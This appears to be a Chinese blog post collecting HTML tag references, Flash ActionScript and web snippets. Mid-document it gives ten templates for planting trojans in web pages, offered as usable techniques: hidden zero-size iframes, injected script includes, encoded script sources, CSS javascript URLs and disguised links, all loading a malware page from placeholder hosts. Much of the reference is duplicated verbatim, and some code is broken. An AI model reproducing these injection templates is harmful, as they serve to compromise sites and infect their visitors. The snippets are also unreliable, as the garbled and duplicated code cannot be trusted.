[代码分享]html代码大全
2014-04-12 12:26:00 -0400
html代码大全
1.结构性定义
文件类型 <HTML></HTML> （放在档案的开头与结尾）
文件主题 <TITLE></TITLE> （必须放在「文头」区块内）
文头 <HEAD></HEAD> （描述性资料，象是「主题」）
文体 <BODY></BODY> （文件本体）
（由浏览器控制的显示风格）
标题 <H?></H?> （从1到6，有六层选择）
标题的对齐 <H? ALIGN=LEFT|CENTER|RIGHT></H?>
区分 <DIV></DIV>
区分的对齐 <DIV ALIGN=LEFT|RIGHT|CENTER|JUSTIFY></DIV>
引文区块 <BLOCKQUOTE></BLOCKQUOTE> （通常会内缩）
强调 <EM></EM> （通常会以斜体显示）
特别强调 <STRONG></STRONG> （通常会以加粗显示）
引文 <CITE></CITE> （通常会以斜体显示）
码 <CODE></CODE> （显示原始码之用）
样本 <SAMP></SAMP>
键盘输入 <KBD></KBD>
变数 <VAR></VAR>
定义 <DFN></DFN> （有些浏览器不提供）
地址 <ADDRESS></ADDRESS>
大字 <BIG></BIG>
小字 <SMALL></SMALL>
与外观相关的标签（作者自订的表现方式）
加粗 <B></B>
斜体 <I></I>
底线 <U></U> （尚有些浏览器不提供）
删除线 <S></S> （尚有些浏览器不提供）
下标 <SUB></SUB>
上标 <SUP></SUP>
打字机体 <TT></TT> （用单空格字型显示）
预定格式 <PRE></PRE> （保留文件中空格的大小）
预定格式的宽度 <PRE WIDTH=?></PRE>（以字元计算）
向中看齐 <CENTER></CENTER> （文字与图片都可以）
闪耀 <BLINK></BLINK> （有史以来最被嘲弄的标签）
字体大小 <FONT SIZE=?></FONT>（从1到7）
改变字体大小 <FONT SIZE=+|-?></FONT>
基本字体大小 <BASEFONT SIZE=?> （从1到7; 内定为3）
字体颜色 <FONT COLOR='#$$$$$$'></FONT>
2.连结与图形
连结 <A href='/URL'></A>
连结到锚点 <A HREF='URL#***'></A>（如果锚点在另一个档案）
<A HREF='#***'></A> （如果锚点目前的档案）
连结到目的视框 <A href='/URL' TARGET='***'></A>
设定锚点 <A NAME='***'></A>
图形 <IMG src='/URL'>
图形看齐方式 <IMG src='/URL' ALIGN=TOP|BOTTOM|MIDDLE>
图形看齐方式 <IMG src='/URL'
ALIGN=LEFT|RIGHT|TEXTTOP|ABSMIDDLE|BASELINE|ABSBOTTOM>
取代文字 <IMG src='/URL' ALT='***'> （如果没有办法显示图形则显示此文字）
点选图 <IMG src='/URL' ISMAP> （需要CGI程式）
N2.0 点选图 <IMG src='/URL' USEMAP='URL'>
N2.0 地图 <MAP NAME='***'></MAP>（描述地图）
N2.0 段落 <AREA SHAPE='RECT' COORDS=',,,' href='/URL'|NOHREF>
3.0 大小 <IMG src='/URL' WIDTH='?' HEIGHT='?'>（以pixels为单位） N1.0 图形边缘 <IMG src='/URL' BORDER=?> （以pixels为单位）
N1.0 图形边缘空间 <IMG src='/URL' HSPACE=? VSPACE=?> （以pixels为单位）
N1.0 低解析度图形 <IMG src='/URL' LOWsrc='/URL'>
N1.1 用户端拉 <META HTTP-EQUIV='Refresh' CONTENT='?; URL=URL'>（使用端自动更新 ）
N2.0 内嵌物件 <EMBED src='/URL'> （将物件插入页面）
N2.0 内嵌物件大小 <EMBED src='/URL' WIDTH='?' HEIGHT='?'>
3.分隔
段落 <P> （通常是两个return）
3.0 段落 <P></P> （新定义成容器型标签）
3.0 文字看齐方式 <P ALIGN=LEFT|CENTER|RIGHT></P>
换行 <BR> （一个return）
N1.0 文字部份看齐方式<BR CLEAR=LEFT|RIGHT|ALL>（与图形合用时）
横线 <HR>
N1.0 横线对齐 <HR ALIGN=LEFT|RIGHT|CENTER>
N1.0 横线厚度 <HR SIZE=?> （以pixels为单位）
N1.0 横线宽度 <HR WIDTH=?> （以pixels为单位）
N1.0 横线比率宽度 <HR WIDTH=%> （以页宽为100%）
N1.0 实线 <HR NOSHADE> （没有立体效果）
N1.0 不可换行 <NOBR></NOBR> （不换行）
N1.0 可换行处 <WBR> （如果需要，可在此断行）
列举 （可以巢状列举）
无次序式列举 <UL><LI></UL> （<LI> 放在每一项前）
N1.0 公布式列举 <UL TYPE=DISC|CIRCLE|SQUARE>（定义全部的列举项）
<LI TYPE=DISC|CIRCLE|SQUARE>（定义这个及其后的列举项）
有次序式列举 <OL><LI></OL> （<LI> 放在每一项前）
N1.0 数标型态 <OL TYPE=A|a|I|i|1> （定义全部的列举项）
<LI TYPE=A|a|I|i|1> （定义这个及其后的列举项）
N1.0 起始数字 <OL value=?> （定义全部的列举项）
<LI value=?> （定义这个及其后的列举项）
定义式列举 <DL><DT><DD></DL>（<DT>项目, <DD>定义）
表单式列举 <MENU><LI></MENU>（<LI> 放在每一项前）
目录式列举 <DIR><LI></DIR> （<LI> 放在每一项前）
背景与颜色
3.0 重复排列的背景 <BODY background='/URL'>
N1.1+ 背景颜色 <BODY BGCOLOR='#$$$$$$'> （依序为红、绿、蓝）
N1.1+ 文字颜色 <BODY TEXT='#$$$$$$'>
N1.1+ 连结颜色 <BODY LINK='#$$$$$$'>
N1.1+ 看过的连结 <BODY VLINK='#$$$$$$'>
N1.1 使用中的连结 <BODY ALINK='#$$$$$$'>
4.特殊字元（以下标签需用小写）
特别符号 &#?; （其中 ? 代表 ISO 8859-1 的编码）
< < > > & & ' '
注册商标TM ?
N1.0+ 注册商标TM ?
着作权符号 ?
N1.0+ 着作权符号 ?
5.表单 （通常需要与CGI程式配合）
定义表单 <FORM ACTION='URL' METHOD=GET|POST></FORM>
N2.0 上传档案 <FORM ENCTYPE='multipart/form-data></FORM>
输入栏位 <INPUT TYPE='TEXT|PASSWORD|CHECKBOX|RADIO|IMAGE|HIDDEN|SUBMIT|RESET'>
栏位名称 <INPUT NAME='***'>
栏位内定值 <INPUT value='***'>
已选定 <INPUT CHECKED> （适用于checkboxes与 radio boxes）
栏位宽度 <INPUT SIZE=?> （以字元数为单位）
最长字数 <INPUT MAXLENGTH=?> （以字元数为单位）
下拉式选单 <SELECT></SELECT>
下拉式选单名称 <SELECT NAME='***'></SELECT>
选单项目数量 <SELECT SIZE=?></SELECT>
多选式选单 <SELECT MULTIPLE> （多选）
选项 <OPTION>
内定选项 <OPTION SELECTED>
文字输入区 <TEXTAREA ROWS=? COLS=?></TEXTAREA>
输入区名称 <TEXTAREA NAME='***'></TEXTAREA>
N2.0 输入区换行方式 <TEXTAREA WRAP=OFF|VIRTUAL|PHYSICAL></TEXTAREA>
6.表格
3.0 定义表格 <TABLE></TABLE>
3.0 表格框线 <TABLE BORDER></TABLE> （有或没有）
N1.1 表格框线 <TABLE BORDER=?></TABLE>（可以设定数值）
N1.1 储存格左右留白 <TABLE CELLSPACING=?>
N1.1 储存格上下留白 <TABLE CELLPADDING=?>
N1.1 表格宽度 <TABLE WIDTH=?> （以pixels为单位）
N1.1 宽度比率 <TABLE WIDTH=%> （页宽为100%）
3.0 表格列 <TR></TR>
3.0 表格列内容看齐 <TR ALIGN=LEFT|RIGHT|CENTER VALIGN=TOP|MIDDLE|BOTTOM>
3.0 储存格 <TD></TD> （须与列并用）
3.0 储存格内容看齐 <TD ALIGN=LEFT|RIGHT|CENTER VALIGN=TOP|MIDDLE|BOTTOM>
3.0 不换行 <TD NOWRAP>
N3.0 储存格背景颜色 <TD BGCOLOR=#$$$$$$>
3.0 储存格横向连接 <TD COLSPAN=?>
3.0 储存格纵向连接 <TD ROWSPAN=?>
N1.1 储存格宽度 <TD WIDTH=?> （以pixels为单位）
N1.1 储存格宽度比率 <TD WIDTH=%> （页宽为100%）
3.0 表格标题 <TH></TH> （跟<TD>一样，不过会对中并加粗）
3.0 表格标题对齐 <TH ALIGN=LEFT|RIGHT|CENTER VALIGN=TOP|MIDDLE|BOTTOM>
3.0 表格标题不换行 <TH NOWRAP>
3.0 表格标题占几栏 <TH COLSPAN=?>
3.0 表格标题占几列 <TH ROWSPAN=?>
N1.1 表格标题宽度 <TH WIDTH=?> （以pixels为单位）
N1.1 表格标题比率宽度<TH WIDTH=%> （页宽为100%）
3.0 表格抬头 <CAPTION></CAPTION>
3.0 表格抬头看齐 <CAPTION ALIGN=TOP|BOTTOM>（在表格之上/之下）
视框 （定义与控制萤幕上的特定区域）
N2.0 视框格式总定义 <FRAMESET></FRAMESET> （取代<BODY>）
N2.0 视框行长度分配 <FRAMESET ROWS=,,,></FRAMESET>（pixels 或 %）
N2.0 视框行长度分配 <FRAMESET ROWS=*></FRAMESET> （* = 相对大小）
N2.0 视框栏宽度分配 <FRAMESET COLS=,,,></FRAMESET>（pixels 或 %）
N2.0 视框栏宽度分配 <FRAMESET COLS=*></FRAMESET> （* =相对大小）
N2.0 定义个别视框 <FRAME> （定义个别视框）
N2.0 个别视框内容 <FRAME src='/URL'>
N2.0 个别视框名称 <FRAME NAME='***'|_blank|_self|_parent|_top>
N2.0 边缘宽度 <FRAME MARGINWIDTH=?> （「左」与「右」边界）
N2.0 边缘高度 <FRAME MARGINHEIGHT=?> （「天顶」与「地底」边界）
N2.0 卷动条 <FRAME SCROLLING='YES|NO|AUTO'>
N2.0 不可改变大小 <FRAME NORESIZE>
N2.0 无视框时的内容 <NOFRAMES></NOFRAMES>（如果浏览器不提供视框功能的话）
7.杂项
说明 <!-- *** --> （浏览器不会显示）
--------------------------------------------------------------------------------
自己收集的常用代码（简单实用）
--------------------------------------------------------------------------------
行间距∶<td style="line-height:15pt;
--------------------------------------------------------------------------------
flash透明选项
<param name="wmode" value="transparent">
--------------------------------------------------------------------------------
添加到收藏夹和设为首页
<a href=# >设为首页</a>
<a href="javascript:window.external.AddFavorite('http://www.makewing.com/lanren/','懒人图库')">收藏本站</a>
--------------------------------------------------------------------------------
滚动
<marquee direction=up height=146 onmouseout=start() onmouseover=stop() scrollAmount=2>滚动信息
</marquee>
--------------------------------------------------------------------------------
跳转页面代码
<meta http-equiv="refresh" c>
--------------------------------------------------------------------------------
细线分隔线
<hr noshade size=0 color=#C0C0C0>
--------------------------------------------------------------------------------
网页中的自动换行
<td style="word-break:break-all">就搞定了。
完整的是
style="table-layout: fixed;WORD-BREAK: break-all; WORD-WRAP: break-word"
--------------------------------------------------------------------------------
flash载入影片
on (release)
{
loadMovie("1-01.swf", "_root.loaderclip");
}
--------------------------------------------------------------------------------
划过链接 手型鼠标
style="cursor:hand"
--------------------------------------------------------------------------------
凹陷文字
<div style="width:300px;padding:20px;overflow:hidden;word-wrap:break-word;word-break:break:all; font-size:12px; line-height:18px; background-color:#eeeeee;">
<font disabled>
怎么样，我凹下去了吧？<br>
你不想试试吗？<br>
<a href="http://www.lenvo.cn/">www.lenvo.cn</a></font>
</div>
--------------------------------------------------------------------------------
CSS文字阴影
.shadowfont{FILTER: dropshadow(color=#666666, offx=1, offy=1, positive=1); FONT-FAMILY: "宋体"; FONT-SIZE: 9pt;COLOR: #ffffff;}
--------------------------------------------------------------------------------
下拉跳转菜单
<select name=select style="color:#333">
<option>----请选择----</option>
<option value="http://www.makewing.com/lanren/">懒人图库</option>
<option value="http://www.makewing.com/store/">MakeWing Store</option>
<option value="http://www.izhu.com/">爱烛网</option>
</select>
--------------------------------------------------------------------------------
简单的显示时间代码
<div id="a"><script>setInterval("a.innerHTML=new Date().toLocaleString()+'星期'+'日一二三四五六'.charAt(new Date().getDay())",500)</script></div>
--------------------------------------------------------------------------------
日期+周
<script language="javascript">
var week;
if(new Date().getDay()==0) week="周日"
if(new Date().getDay()==1) week="周一"
if(new Date().getDay()==2) week="周二"
if(new Date().getDay()==3) week="周三"
if(new Date().getDay()==4) week="周四"
if(new Date().getDay()==5) week="周五"
if(new Date().getDay()==6) week="周六"
document.write((new Date().getMonth()+1)+"月"+new Date().getDate()+"日 "+week);
</script>
=================================================================
去掉地址栏
<a href="javascript://" ><img src="[!--titlepic--]" width="155" height="160" border="0"></a>
=================================================================
<!--关闭当前窗口代码-->
点击关闭当前窗口
<a href="#" >点我吧</a>
=================================================================
<！--flash弹出窗口代码-->
on (release) {
getURL("javascript :window.open(’http://www.flash8.net',’’,’toolbars=no,location=no,scrollbars=no,status=no,resizable=no,width=500,height=500’)");
} //toolbars是否显示工具栏，location是否显示地址栏，scrollbars是否显示滚动条，
status是否显示状态栏，resizable是否可以改变大小
=================================================================
flash as代码里回行: \n 空格∶' '
=====================================================================
打印此页 返回 顶部 关闭的代码
【<a href='javascript:window.print()'>打印此页</a>】 【<a href='javascript:history.back()'>返回</a>】【<A href="javascript:window.scroll(0,-360)">顶部</A>】【<a href="javascript:self.close()">关闭</a>】
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
AS常用代码集锦
1、用flash 做那种弹出的小窗口
分两步∶
给flash中的按钮加入如下action:
on (release) {
getURL ("");
} 在HTML页面的...之间加入下面的javascript代码.
2、如何使得flash一打开就是全屏？
fscommand("fullscreen",true)
如何不能使用右键?
fscommand ("showmenu", "false");
3、用命令载入一个动画，我需要确定载入动画在画面中的位置，用什么语言来设置？
例如载入名为dd.swf的动画，我要确定这个动画的中心位置在（205，250），该怎么设置？
在要加载动画的那钟加入
loadMovie("dd.swf", "a");
a._x=205;
a._y=250;
你得先做一个空的MC起名叫"a"，导入时,在右下角也起名为a
4、当鼠标经过时动画播放到某处
on (rollover) {
gotoAndPlay(10);
}
当鼠标按下时动画播放到某处
on (release) {
gotoAndPlay(1);
}
5、播完动画后自动跳到某网页
getURL("siteindex.htm", _self);
6、设为首页
on (release) {
getURL(";void document.links.setHomePage ('http://www.flash8.net/')", "_self", "POST");
}
注意要将网页中的flash的ID号命名为"links"
加入收藏夹
on (release) {
getURL(" window.external.AddFavorite('http://www.163.com','网页');", "_self", "POST");
}
7、关于随机数的技巧
用来产生6--20之间的5个不重复的随机数:
1):首先产生一个随机数,放在数组对象中的第一个位置;
2):产生一个新的随机数.
3):检查新产生的随机数和所有目前已产生的随机数是否相同,若是相同则返回(2),否则返回(4)
4):将新的随机数加入数组对象中下一个数组元素内.
5):检查数组对象个数是否已达到5个,若是跳到(6),否则返回(2)
6):结束.
AS如下:
data1=newArray(5);
tot=1;
data1=[tot-1]=random(20-6+1)+6;
do{
gen_data=random(20-6+1)+6;
reapeat_data=0;
for(i=0,i<=tot-1;i++){
if(gen_data==data
reapeat_data=1;
break;
}
}
if(reapeat_data==0){
tot++
data[tot-1]=reapeat_data;
}
}while(tot<5);
trace(data1);
8 、如何使得flash一打开就是全屏的
这里说的方法只是用于flash Player (fp)
9 、如何禁止右键菜单
fscommand的方法还是只能适用于fp，在网页中使用还是必须添加额外的参数
或者用最简单的一句as，在fp和网页中均适用∶
Stage.showMenu=false;
10、载入动画的问题
loadMovie("dd.swf", a); //这里没有引号~
11、播完动画后自动跳到某网页
getURL("siteindex.htm", "_self"); //这里有引号滴~
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
登陆表单
<form name="loginForm" method="post" action="login.asp?action=chk" target="_blank">
<div>
会员员∶
<input type="text" name="username" size="12" maxlength="50">
</div>
<div>
密 码∶
<input type="password" name="password" size="12" maxlength="50">
</div>
<div>
登陆保留∶
<select name="CookieDate">
<option value="0">不保留</option>
<option value="1">保留一天</option>
<option value="2">保留一月</option>
<option value="3">保留一年</option>
</select>
</div>
<div>
隐 身∶
<input type="radio" name="userhidden" value="2" checked />正常登录
<input type="radio" name="userhidden" value="1" />隐身登录
</div>
<div>
<input type="submit" value="登陆" onclick="return checkForm();" />
<input type="reset" value="重填" />
<input type="button" onclick="window.location='reg.asp'" value="注册" />
<input type="button" onclick="window.location='lostpass.asp'" value="忘密" />
<input type="button" onclick="window.location='index.asp'" value="参观" />
</div>
</form>
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
主要的样式定义如下∶
body {text-align: center;}
#center { margin-right: auto; margin-left: auto; }
首先在父级元素定义text-align: center;这个的意思就是在父级元素内的内容居中；
对于IE这样设定就已经可以了。但在mozilla中不能居中。解决办法在每个拆出的div里定义margin-right: auto; margin-left: auto;就行了。
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
背景渐变色代码
<body style="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#0099ff,endColorStr=#000000);">
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
一些DIV+CSS 命名规范
外 套∶ wrap
主导航∶ mainnav
子导航∶ subnav
页 脚∶ footet
整个页面∶ content
页 眉∶ header
页 脚∶ footer
商 标∶ label
标 题∶ title
主导航∶ mainbav（globalnav）
顶导航∶ topnav
边导航∶ sidebar
左导航∶ leftsidebar
右导航∶ rightsidebar
旗 志∶ logo
标 语∶ banner
菜单内容1∶ menu1 content
菜单容量∶ menu container
子菜单∶ submenu
边导航图标∶sidebarIcon
注释∶ note
面包屑∶ breadcrumb(即页面所处位置导航提示）
容器∶ container
内容∶ content
搜索∶ search
登陆∶ Login
功能区∶ shop(如购物车，收银台)
当前的 current
2.另外在编辑样式表时可用的注释可这样写∶
<□ Footer □>
内容区
<□ End Footer □>
3.样式文件命名
主要的 master.css
布局，版面 layout.css
专栏 columns.css
文字 font.css
打印样式 print.css
主题 themes.css
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
公告栏
<marquee dir=要滚动的方向 scrolldelay=时间 onmouseover=this.stop() onmouseout=this.start()
>你要的文字</marquee>
其中∶要滚动的方向为∶
left,right,down,up
时间∶1000为一秒
--------------------------------------------------------------------------------
一:框架挂马
以下是代码片段∶
<iframe src=地址 width=0 height=0></iframe>
二:js文件挂马
首先将以下代码 以下是代码片段∶
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js，
则JS挂马代码为
以下是代码片段∶
<script language=javascript src=xxx.js></script>
三:js变形加密
以下是代码片段∶
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马 以下是代码片段∶
<body onload="window.location='地址';"></body>
五:隐蔽挂马
以下是代码片段∶
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>';
六:css中挂马
以下是代码片段∶
body {
background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}
七:JAJA挂马
以下是代码片段∶
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
八:图片伪装
以下是代码片段∶
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>
九:伪装调用∶
以下是代码片段∶
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
十:高级欺骗
以下是代码片段∶
<a href="http://www.163.com(迷惑连接地址，显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="javascript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
文件类型 <HTML></HTML> （放在档案的开头与结尾）
文件主题 <TITLE></TITLE> （必须放在「文头」区块内）
文头 <HEAD></HEAD> （描述性资料，象是「主题」）
文体 <BODY></BODY> （文件本体）
（由浏览器控制的显示风格）
标题 <H?></H?> （从1到6，有六层选择）
标题的对齐 <H? ALIGN=LEFT|CENTER|RIGHT></H?>
区分 <DIV></DIV>
区分的对齐 <DIV ALIGN=LEFT|RIGHT|CENTER|JUSTIFY></DIV>
引文区块 <BLOCKQUOTE></BLOCKQUOTE> （通常会内缩）
强调 <EM></EM> （通常会以斜体显示）
特别强调 <STRONG></STRONG> （通常会以加粗显示）
引文 <CITE></CITE> （通常会以斜体显示）
码 <CODE></CODE> （显示原始码之用）
样本 <SAMP></SAMP>
键盘输入 <KBD></KBD>
变数 <VAR></VAR>
定义 <DFN></DFN> （有些浏览器不提供）
地址 <ADDRESS></ADDRESS>
大字 <BIG></BIG>
小字 <SMALL></SMALL>
与外观相关的标签（作者自订的表现方式）
加粗 <B></B>
斜体 <I></I>
底线 <U></U> （尚有些浏览器不提供）
删除线 <S></S> （尚有些浏览器不提供）
下标 <SUB></SUB>
上标 <SUP></SUP>
打字机体 <TT></TT> （用单空格字型显示）
预定格式 <PRE></PRE> （保留文件中空格的大小）
预定格式的宽度 <PRE WIDTH=?></PRE>（以字元计算）
向中看齐 <CENTER></CENTER> （文字与图片都可以）
闪耀 <BLINK></BLINK> （有史以来最被嘲弄的标签）
字体大小 <FONT SIZE=?></FONT>（从1到7）
改变字体大小 <FONT SIZE=+|-?></FONT>
基本字体大小 <BASEFONT SIZE=?> （从1到7; 内定为3）
字体颜色 <FONT COLOR='#$$$$$$'></FONT>
2.连结与图形
连结 <A href='/URL'></A>
连结到锚点 <A HREF='URL#***'></A>（如果锚点在另一个档案）
<A HREF='#***'></A> （如果锚点目前的档案）
连结到目的视框 <A href='/URL' TARGET='***'></A>
设定锚点 <A NAME='***'></A>
图形 <IMG src='/URL'>
图形看齐方式 <IMG src='/URL' ALIGN=TOP|BOTTOM|MIDDLE>
图形看齐方式 <IMG src='/URL'
ALIGN=LEFT|RIGHT|TEXTTOP|ABSMIDDLE|BASELINE|ABSBOTTOM>
取代文字 <IMG src='/URL' ALT='***'> （如果没有办法显示图形则显示此文字）
点选图 <IMG src='/URL' ISMAP> （需要CGI程式）
N2.0 点选图 <IMG src='/URL' USEMAP='URL'>
N2.0 地图 <MAP NAME='***'></MAP>（描述地图）
N2.0 段落 <AREA SHAPE='RECT' COORDS=',,,' href='/URL'|NOHREF>
3.0 大小 <IMG src='/URL' WIDTH='?' HEIGHT='?'>（以pixels为单位） N1.0 图形边缘 <IMG src='/URL' BORDER=?> （以pixels为单位）
N1.0 图形边缘空间 <IMG src='/URL' HSPACE=? VSPACE=?> （以pixels为单位）
N1.0 低解析度图形 <IMG src='/URL' LOWsrc='/URL'>
N1.1 用户端拉 <META HTTP-EQUIV='Refresh' CONTENT='?; URL=URL'>（使用端自动更新 ）
N2.0 内嵌物件 <EMBED src='/URL'> （将物件插入页面）
N2.0 内嵌物件大小 <EMBED src='/URL' WIDTH='?' HEIGHT='?'>
3.分隔
段落 <P> （通常是两个return）
3.0 段落 <P></P> （新定义成容器型标签）
3.0 文字看齐方式 <P ALIGN=LEFT|CENTER|RIGHT></P>
换行 <BR> （一个return）
N1.0 文字部份看齐方式<BR CLEAR=LEFT|RIGHT|ALL>（与图形合用时）
横线 <HR>
N1.0 横线对齐 <HR ALIGN=LEFT|RIGHT|CENTER>
N1.0 横线厚度 <HR SIZE=?> （以pixels为单位）
N1.0 横线宽度 <HR WIDTH=?> （以pixels为单位）
N1.0 横线比率宽度 <HR WIDTH=%> （以页宽为100%）
N1.0 实线 <HR NOSHADE> （没有立体效果）
N1.0 不可换行 <NOBR></NOBR> （不换行）
N1.0 可换行处 <WBR> （如果需要，可在此断行）
列举 （可以巢状列举）
无次序式列举 <UL><LI></UL> （<LI> 放在每一项前）
N1.0 公布式列举 <UL TYPE=DISC|CIRCLE|SQUARE>（定义全部的列举项）
<LI TYPE=DISC|CIRCLE|SQUARE>（定义这个及其后的列举项）
有次序式列举 <OL><LI></OL> （<LI> 放在每一项前）
N1.0 数标型态 <OL TYPE=A|a|I|i|1> （定义全部的列举项）
<LI TYPE=A|a|I|i|1> （定义这个及其后的列举项）
N1.0 起始数字 <OL value=?> （定义全部的列举项）
<LI value=?> （定义这个及其后的列举项）
定义式列举 <DL><DT><DD></DL>（<DT>项目, <DD>定义）
表单式列举 <MENU><LI></MENU>（<LI> 放在每一项前）
目录式列举 <DIR><LI></DIR> （<LI> 放在每一项前）
背景与颜色
3.0 重复排列的背景 <BODY background='/URL'>
N1.1+ 背景颜色 <BODY BGCOLOR='#$$$$$$'> （依序为红、绿、蓝）
N1.1+ 文字颜色 <BODY TEXT='#$$$$$$'>
N1.1+ 连结颜色 <BODY LINK='#$$$$$$'>
N1.1+ 看过的连结 <BODY VLINK='#$$$$$$'>
N1.1 使用中的连结 <BODY ALINK='#$$$$$$'>
4.特殊字元（以下标签需用小写）
特别符号 &#?; （其中 ? 代表 ISO 8859-1 的编码）
< < > > & & ' '
注册商标TM ?
N1.0+ 注册商标TM ?
着作权符号 ?
N1.0+ 着作权符号 ?
5.表单 （通常需要与CGI程式配合）
定义表单 <FORM ACTION='URL' METHOD=GET|POST></FORM>
N2.0 上传档案 <FORM ENCTYPE='multipart/form-data></FORM>
输入栏位 <INPUT TYPE='TEXT|PASSWORD|CHECKBOX|RADIO|IMAGE|HIDDEN|SUBMIT|RESET'>
栏位名称 <INPUT NAME='***'>
栏位内定值 <INPUT value='***'>
已选定 <INPUT CHECKED> （适用于checkboxes与 radio boxes）
栏位宽度 <INPUT SIZE=?> （以字元数为单位）
最长字数 <INPUT MAXLENGTH=?> （以字元数为单位）
下拉式选单 <SELECT></SELECT>
下拉式选单名称 <SELECT NAME='***'></SELECT>
选单项目数量 <SELECT SIZE=?></SELECT>
多选式选单 <SELECT MULTIPLE> （多选）
选项 <OPTION>
内定选项 <OPTION SELECTED>
文字输入区 <TEXTAREA ROWS=? COLS=?></TEXTAREA>
输入区名称 <TEXTAREA NAME='***'></TEXTAREA>
N2.0 输入区换行方式 <TEXTAREA WRAP=OFF|VIRTUAL|PHYSICAL></TEXTAREA>
6.表格
3.0 定义表格 <TABLE></TABLE>
3.0 表格框线 <TABLE BORDER></TABLE> （有或没有）
N1.1 表格框线 <TABLE BORDER=?></TABLE>（可以设定数值）
N1.1 储存格左右留白 <TABLE CELLSPACING=?>
N1.1 储存格上下留白 <TABLE CELLPADDING=?>
N1.1 表格宽度 <TABLE WIDTH=?> （以pixels为单位）
N1.1 宽度比率 <TABLE WIDTH=%> （页宽为100%）
3.0 表格列 <TR></TR>
3.0 表格列内容看齐 <TR ALIGN=LEFT|RIGHT|CENTER VALIGN=TOP|MIDDLE|BOTTOM>
3.0 储存格 <TD></TD> （须与列并用）
3.0 储存格内容看齐 <TD ALIGN=LEFT|RIGHT|CENTER VALIGN=TOP|MIDDLE|BOTTOM>
3.0 不换行 <TD NOWRAP>
N3.0 储存格背景颜色 <TD BGCOLOR=#$$$$$$>
3.0 储存格横向连接 <TD COLSPAN=?>
3.0 储存格纵向连接 <TD ROWSPAN=?>
N1.1 储存格宽度 <TD WIDTH=?> （以pixels为单位）
N1.1 储存格宽度比率 <TD WIDTH=%> （页宽为100%）
3.0 表格标题 <TH></TH> （跟<TD>一样，不过会对中并加粗）
3.0 表格标题对齐 <TH ALIGN=LEFT|RIGHT|CENTER VALIGN=TOP|MIDDLE|BOTTOM>
3.0 表格标题不换行 <TH NOWRAP>
3.0 表格标题占几栏 <TH COLSPAN=?>
3.0 表格标题占几列 <TH ROWSPAN=?>
N1.1 表格标题宽度 <TH WIDTH=?> （以pixels为单位）
N1.1 表格标题比率宽度<TH WIDTH=%> （页宽为100%）
3.0 表格抬头 <CAPTION></CAPTION>
3.0 表格抬头看齐 <CAPTION ALIGN=TOP|BOTTOM>（在表格之上/之下）
视框 （定义与控制萤幕上的特定区域）
N2.0 视框格式总定义 <FRAMESET></FRAMESET> （取代<BODY>）
N2.0 视框行长度分配 <FRAMESET ROWS=,,,></FRAMESET>（pixels 或 %）
N2.0 视框行长度分配 <FRAMESET ROWS=*></FRAMESET> （* = 相对大小）
N2.0 视框栏宽度分配 <FRAMESET COLS=,,,></FRAMESET>（pixels 或 %）
N2.0 视框栏宽度分配 <FRAMESET COLS=*></FRAMESET> （* =相对大小）
N2.0 定义个别视框 <FRAME> （定义个别视框）
N2.0 个别视框内容 <FRAME src='/URL'>
N2.0 个别视框名称 <FRAME NAME='***'|_blank|_self|_parent|_top>
N2.0 边缘宽度 <FRAME MARGINWIDTH=?> （「左」与「右」边界）
N2.0 边缘高度 <FRAME MARGINHEIGHT=?> （「天顶」与「地底」边界）
N2.0 卷动条 <FRAME SCROLLING='YES|NO|AUTO'>
N2.0 不可改变大小 <FRAME NORESIZE>
N2.0 无视框时的内容 <NOFRAMES></NOFRAMES>（如果浏览器不提供视框功能的话）
7.杂项
说明 <!-- *** --> （浏览器不会显示）
--------------------------------------------------------------------------------
自己收集的常用代码（简单实用）
--------------------------------------------------------------------------------
行间距∶<td style="line-height:15pt;
--------------------------------------------------------------------------------
flash透明选项
<param name="wmode" value="transparent">
--------------------------------------------------------------------------------
添加到收藏夹和设为首页
<a href=# >设为首页</a>
<a href="javascript:window.external.AddFavorite('http://www.makewing.com/lanren/','懒人图库')">收藏本站</a>
--------------------------------------------------------------------------------
滚动
<marquee direction=up height=146 onmouseout=start() onmouseover=stop() scrollAmount=2>滚动信息
</marquee>
--------------------------------------------------------------------------------
跳转页面代码
<meta http-equiv="refresh" c>
--------------------------------------------------------------------------------
细线分隔线
<hr noshade size=0 color=#C0C0C0>
--------------------------------------------------------------------------------
网页中的自动换行
<td style="word-break:break-all">就搞定了。
完整的是
style="table-layout: fixed;WORD-BREAK: break-all; WORD-WRAP: break-word"
--------------------------------------------------------------------------------
flash载入影片
on (release)
{
loadMovie("1-01.swf", "_root.loaderclip");
}
--------------------------------------------------------------------------------
划过链接 手型鼠标
style="cursor:hand"
--------------------------------------------------------------------------------
凹陷文字
<div style="width:300px;padding:20px;overflow:hidden;word-wrap:break-word;word-break:break:all; font-size:12px; line-height:18px; background-color:#eeeeee;">
<font disabled>
怎么样，我凹下去了吧？<br>
你不想试试吗？<br>
<a href="http://www.lenvo.cn/">www.lenvo.cn</a></font>
</div>
--------------------------------------------------------------------------------
CSS文字阴影
.shadowfont{FILTER: dropshadow(color=#666666, offx=1, offy=1, positive=1); FONT-FAMILY: "宋体"; FONT-SIZE: 9pt;COLOR: #ffffff;}
--------------------------------------------------------------------------------
下拉跳转菜单
